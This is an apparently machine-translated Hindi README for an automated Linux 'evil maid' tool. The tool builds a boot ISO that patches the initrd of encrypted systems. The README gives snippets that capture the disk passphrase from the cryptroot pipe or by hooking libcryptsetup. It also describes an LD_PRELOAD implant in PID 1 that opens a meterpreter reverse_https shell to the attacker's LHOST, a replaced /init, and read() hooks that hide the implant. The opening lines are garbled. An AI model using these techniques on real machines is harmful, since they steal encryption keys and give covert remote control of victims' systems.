
स्वचालित Linux ईविल मेड हमला

/sbin/init में .so फ़ाइल, एक शेल गिराता हैLD_PRELOAD .so को DefaultEnviroment में, वैश्विक रूप से लोड, एक शेल गिराता हैpython/meterpreter/reverse_https कम्पाइल समय LHOST परgetenv PASSWORD)अधिक जानकारी/कॉन्फ़िगरेशन के लिए Makefile देखें, .so बनाने के लिए वातावरण में LHOST आवश्यक है क्योंकि msfvenom कम्पाइल समय पर पाइप किया जाता है। बिल्ड मशीन पर libcrypsetup-dev (या समतुल्य) स्थापित होना भी आवश्यक है।
सामान्य निर्देश (cwd में iso इमेज बनाता है):
LHOST=192.168.56.101 make rev.so iso
कर्नेल बूट में निम्नलिखित विकल्प जोड़े गए हैं:
mc superuser nodhcp quiet loglevel=0
इसके अलावा, पूरी तरह से स्वचालित निष्पादन की अनुमति देने के लिए prompt मान 0 पर सेट किया गया है।
अनुमानित दुर्भावनापूर्ण बूट -> बैकडोर समय: ~2 मिनट अनुमानित वैध बूट -> शेल ~90 सेकंड (कॉन्फ़िगर करने योग्य, हम चाहते हैं कि नेटवर्क हमसे पहले ऊपर हो)
core.d नीचे दिए गए पैकेजों के साथ मर्ज किया गया TinyCore से अनपैक्ड core.gz है।
Core-current एक अनपैक्ड Core-current.iso है
निम्नलिखित पैकेज tinycore के अंदर स्थापित किए गए हैं (python, फ़ाइल सिस्टम समर्थन):
न्यूनतम हस्ताक्षर इस प्रकार है:
"exampleOS" : {
"IDENTIFIER" : "grep EXAMPLEOS etc/initrd-release",
"ROOT" : "${rootmnt}",
"FILENAME" : "/ldlinux.so.1",
"INITRDFILENAME" : "hda1"
}
exampleOS इस OS के लिए एक अद्वितीय नाम है।IDENTIFIER एक शेल कमांड है जो सही initrd पर चलने पर निकास कोड 0 देता है, और अन्य कुछ के लिए !0 देता है।ROOT पूरा पथ या वेरिएबल है जहाँ डिक्रिप्शन के बाद नया रूट माउंट किया जाता है।FILENAME हमारी बाइनरी को रूट फ़ाइल सिस्टम पर छोड़ने का पूरा पथ है। ध्यान रखें कि initrd क्या माउंट करता है और बाद में क्या माउंट होता है।INITRDFILENAME initrd के अंदर बाइनरी का पूरा पथ है। यह Makefile के अंदर कॉपी किया जाता है (cp ... core.d/...) इसलिए यह उससे मेल खाना चाहिए।उसके बाद, *FILE, *PRE, *POST का प्रत्येक त्रिक re.sub के रूप में initrd के विरुद्ध चलाया जाता है (उदा., re.sub(*PRE, *POST, *FILE). *PRE और *POST की सामग्री .format(**config[detectedOS]) का उपयोग करके विस्तारित की जाती है, इसलिए आइटम इंजेक्ट करने के लिए अपने हस्ताक्षर का विस्तार करने में संकोच न करें।
आप जितने चाहें उतने प्रतिस्थापन चला सकते हैं।
\\1 मिलान (*PRE) की पूरी सामग्री का विस्तार करेगा जब रिप्लेस (*POST) के अंदर उपयोग किया जाता है।| $ सेpython/meterpreter/reverse_https मेटास्प्लॉइट पेलोड को चुना गया क्योंकि यह linux/*/meterpreter/reverse_tcp पेलोड की तुलना में अधिक प्लेटफ़ॉर्म स्वतंत्र है। python परीक्षण किए गए सभी सिस्टमों पर डिफ़ॉल्ट रूप से स्थापित प्रतीत होता है।
डिफ़ॉल्ट रूप से, पेलोड कम्पाइल समय पर उत्पन्न होता है और .c फ़ाइल में #define के रूप में पाइप किया जाता है। इससे पुनरावृत्तियाँ आसान हो जाती हैं, लेकिन पेलोड को सहेजना और मैन्युअल रूप से डालना मुश्किल नहीं होना चाहिए।
डेबियन आधारित सिस्टम (Debian, Ubuntu आदि) initramfs के रूप में एक मानक gzipped cpio इमेज का उपयोग करते हैं। इसमें डिफ़ॉल्ट /init स्क्रिप्ट होती है जो पूर्ण बूट के लिए सिस्टम तैयार करने के लिए चलती है। इसमें उपयोगकर्ता से उनका पासवर्ड पूछना और एन्क्रिप्टेड रूट फ़ाइल सिस्टम को माउंट करना शामिल है।
अपने .so को गिराने के लिए, हम तब तक प्रतीक्षा करते हैं जब तक रूट फ़ाइल सिस्टम माउंट नहीं हो जाता (अर्थात उपयोगकर्ता से उनका पासवर्ड पूछे जाने के बाद) और .so को /dev फ़ाइल सिस्टम में कॉपी करते हैं। /dev फ़ाइल सिस्टम को चुना गया क्योंकि यह rootfs स्विच होने से ठीक पहले सुलभ है और यह रैम आधारित माउंट है। इसका मतलब है कि हमारा .so डिस्क को नहीं छुएगा।
वास्तव में गिराए गए .so का उपयोग करने के लिए, हम switch_root कॉल पर LD_PRELOAD पर्यावरण चर का उपयोग करते हैं। यह चर सभी चाइल्ड निष्पादन योग्यों को पास होता है और इस प्रकार, अंतिम /sbin/init स्क्रिप्ट में मॉड्यूल लोड होगा। इसे अपेक्षाकृत शांत रखने के लिए, हम जांचते हैं कि क्या हम /sbin/init में लोड हुए हैं, और यदि हाँ, तो हम LD_PRELOAD चर को अनसेट करते हैं और .so को हटा देते हैं। यदि हम विशिष्ट अनुप्रयोगों को हुक करना चाहते हैं तो इस कार्यक्षमता को आसानी से अक्षम किया जा सकता है।
.so के निष्पादन को बल देने के लिए, डिफ़ॉल्ट रूप से लोड करने के बाद, हम gcc फ़्लैग -Wl,-init,shell का उपयोग करते हैं, जहाँ shell हमारा मुख्य फ़ंक्शन है। यह निर्दिष्ट करता है कि हम .so के init पर किस फ़ंक्शन को कॉल करना चाहते हैं। इसे विंडोज़ के DllMain के अनुरूप समझें।
init स्क्रिप्ट का वह भाग जो उपयोगकर्ता से पासवर्ड पूछने और रूट फ़ाइल सिस्टम को माउंट करने का प्रभारी है, इस प्रकार है:
scripts/local-top/cryptroot:
if [ ! -e "$NEWROOT" ]; then
if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \
$cryptkeyscript "$cryptkey" | $cryptcreate --key-file=- ; then
message "cryptsetup: cryptsetup failed, bad password or options?"
continue
fi
fi
हमारे लिए महत्वपूर्ण भाग वह है जहाँ $cryptkeyscript का आउटपुट $cryptcreate में पाइप किया जाता है। $cryptkeyscript पासवर्ड पूछने वाला है, और $cryptcreate डिस्क माउंटर है। यह पाइप हमारे लिए हमला करना बहुत आसान बनाता है। हम पाइप के स्थान पर निम्नलिखित कोड डालते हैं ताकि पासवर्ड को हमारे .so के अंत में लिख सकें:
(read P; echo -ne \\\\\\\\x00$P >> /OUR.SO; echo -n $P)
यह पासवर्ड को वेरिएबल $P में पढ़ेगा, और इसे .so के अंत में लिखेगा और फिर से इको करेगा। यह कोड $cryptkeyscript और $cryptcreate के प्रयोजनों के लिए पारदर्शी होगा, लेकिन इसका दुष्प्रभाव पासवर्ड को बाहर निकालना होगा। हम पासवर्ड में एक नल बाइट (शेल एस्केपिंग के कई स्तरों के लिए जिम्मेदार) जोड़ने के लिए \\\\\\\\x00 का उपयोग करते हैं। इससे हमारे .so के लिए पासवर्ड को वापस पढ़ना बहुत आसान हो जाता है, क्योंकि इसे केवल अपने अंत से पीछे की ओर तब तक पढ़ना होता है जब तक उसे एक नल बाइट न मिल जाए।
हमलावर को यह पासवर्ड प्रदान करने के लिए, इसका उपयोग पेलोड के आह्वान में एक पर्यावरण चर के रूप में किया जाता है। इसका मतलब है कि हमलावर पासवर्ड प्राप्त करने के लिए केवल meterpreter कमांड getenv PASSWORD का उपयोग कर सकता है।
जिस तरह से .so लोड किया जा रहा है, उसके कारण /proc/1/maps और /proc/1/environ दोनों में इसके संदर्भ होंगे।
maps फ़ाइल लोड किए गए मॉड्यूल की सूची है। निम्नलिखित अंश इस फ़ाइल की सामग्री दिखाता है। (deleted) पर ध्यान दें, जो संभावित रूप से संदेह पैदा कर सकता है। हालाँकि, सामान्य बाइनरी के विपरीत, .so को हटाए जाने के बाद सीधे मेमोरी से निकाले बिना उस तक पहुँचना संभव नहीं है।
7f9ee8a56000-7f9ee8a58000 r-xp 00000000 00:06 9264 /dev/hda1 (deleted)
7f9ee8a58000-7f9ee8c57000 ---p 00002000 00:06 9264 /dev/hda1 (deleted)
7f9ee8c57000-7f9ee8c58000 rw-p 00001000 00:06 9264 /dev/hda1 (deleted)
environ फ़ाइल आह्वान के समय पर्यावरण चरों की NULL से अलग की गई सूची है। क्योंकि यह आह्वान से है, इसका मतलब है कि रनटाइम पर हमारे द्वारा किए गए कोई भी संशोधन (LD_PRELOAD को अनसेट करना) प्रतिबिंबित नहीं होंगे।
इन दोनों मामलों में, क्योंकि हम किसी भी और सभी सिस्टम प्रक्रियाओं में हुक किए जा सकते हैं, हम बस read(2) फ़ंक्शन को हुक कर सकते हैं और स्वयं के किसी भी संदर्भ को हटा सकते हैं।
Kali एक विशेष मामला है। इसमें नीचे बताई गई चेन cpio है, लेकिन बूट करने के लिए systemd का उपयोग नहीं करता है। इस प्रकार, DRACUT OS नियम को सामान्यीकृत किया गया है ताकि यह आँख बंद करके निकाले, और फिर दूसरी OS का पता लगाने से Kali पकड़ में आता है।
यदि आप केवल kernel/x86/microcode/GenuineIntel.bin वाली cpio के साथ एक OS जोड़ते हैं, तो IDENTIFIER नियम संलग्न cpio के लिए होना चाहिए, क्योंकि हम स्वचालित रूप से इसे ढूंढेंगे और निकालेंगे।
इन सिस्टमों में Debian आधारित सिस्टमों की तुलना में उनकी initrd इमेज का एक अलग प्रारूप होता है। /boot में संग्रहीत initrd फ़ाइलें लगभग खाली cpio आर्काइव होती हैं, जिसमें एक gzipped cpio आर्काइव जुड़ा होता है। यह दूसरा आर्काइव वह है जिसमें initramfs होता है। इस दूसरे आर्काइव को अनपैक करने के लिए पहले cpio आर्काइव को पार्स करके उसका अंत खोजना आवश्यक है। वैकल्पिक रूप से आप स्ट्रिंग TRAILER!!! ढूंढ सकते हैं और gzip मैजिक (\x1f\x8b) मिलने तक पढ़ते रह सकते हैं।
इन सिस्टमों का एक और अंतर यह है कि वे systemd आधारित हैं, और इस प्रकार initamfs में /init निष्पादन योग्य एक फ्लैट sh स्क्रिप्ट के बजाय systemd बाइनरी का एक सिमलिंक है। इस सीमा को दरकिनार करने के लिए, रूट फ़ाइल सिस्टम को माउंट करने से संबंधित .service फ़ाइलों को संशोधित करना आवश्यक है।
usr/lib/systemd/system/initrd-switch-root.service में वह स्क्रिप्ट है जो नए डिक्रिप्टेड रूट में पिवट करने के लिए उपयोग की जाती है। ExecStartPre प्राग्मा का उपयोग करके पिवट होने से पहले अन्य प्रोग्राम निष्पादित करना संभव है।
CentOS पर SELinux मौजूद है, जो LD_PRELOAD के उपयोग को प्रतिबंधित करता है। एक काम करने वाला पथ /lib है। यह system_u:object_r:lib_t लेबल वाले स्थान के लिए /etc/selinux/targeted/modules/active/file_contexts फ़ाइल को पढ़कर पाया गया था।
क्योंकि systemd रूट स्विच करने से पहले clearenv() को कॉल करता है, हमारा LD_PRELOAD चर मिटा दिया जाता है। इसे दरकिनार करने के लिए, हम clearenv() को हुक कर सकते हैं, और हमेशा वातावरण को केवल LD_PRELOAD से बदल सकते हैं। हालाँकि, इसे प्राप्त करने के लिए, हमें initrd के अंदर PID 1 होना होगा। यह अधिक कठिन है क्योंकि इस प्रक्रिया में LD_PRELOAD करना संभव नहीं है। इससे निपटने के लिए, हमने /init को एक bash शेल स्क्रिप्ट से बदल दिया है:
#!/bin/bash
export LD_PRELOAD=/hda1
exec /usr/lib/systemd/systemd
यह काम करता है क्योंकि /init केवल /usr/lib/systemd/systemd का एक सिमलिंक है। exec का उपयोग किया जाता है ताकि प्रक्रिया पैरेंट PID (1) को बनाए रखे।
एक बार यह लागू हो जाने के बाद, और clearenv() को बेअसर कर दिए जाने के बाद, नए रूट के अंदर वास्तविक pid 1 के लिए LD_PRELOAD सेट करना संभव है।
systemd एन्क्रिप्टेड फ़ाइल सिस्टम के लिए पासवर्ड को Debian आधारित init स्क्रिप्ट से पूरी तरह से अलग तरीके से संभालता है। पासवर्ड यूनिक्स सॉकेट का उपयोग करके पास किए जाते हैं जो आपको क्रेडेंशियल भेजने की अनुमति देते हैं। इस जटिलता से निपटने के लिए, पासवर्ड तक पहुँचने का सबसे आसान तरीका जो हमने पाया वह था libcryptsetup से crypt_activate_by_passphrase फ़ंक्शन को हुक करना। फ़ंक्शन घोषणा के प्रासंगिक भाग इस प्रकार हैं:
int crypt_activate_by_passphrase(..., const char *passphrase, size_t passphrase_size, ...);
पासवर्ड तक पहुँचने के लिए हम बस इस फ़ंक्शन को हुक करते हैं, passphrase को एक फ़ाइल में सहेजते हैं और dlsym(RTLD_NEXT, ...) द्वारा प्राप्त मूल फ़ंक्शन को कॉल करते हैं। जैसा कि ऊपर बताया गया है, हमने अपने पासवर्ड को .so में जोड़ दिया ताकि वह स्वयं को पार्स कर सके और पासवर्ड को meterpreter के लिए उपलब्ध करा सके।
जैसा कि ऊपर बताया गया है, .so /proc/1/maps, /proc/1/environ और ps आउटपुट में दिखाई देता है।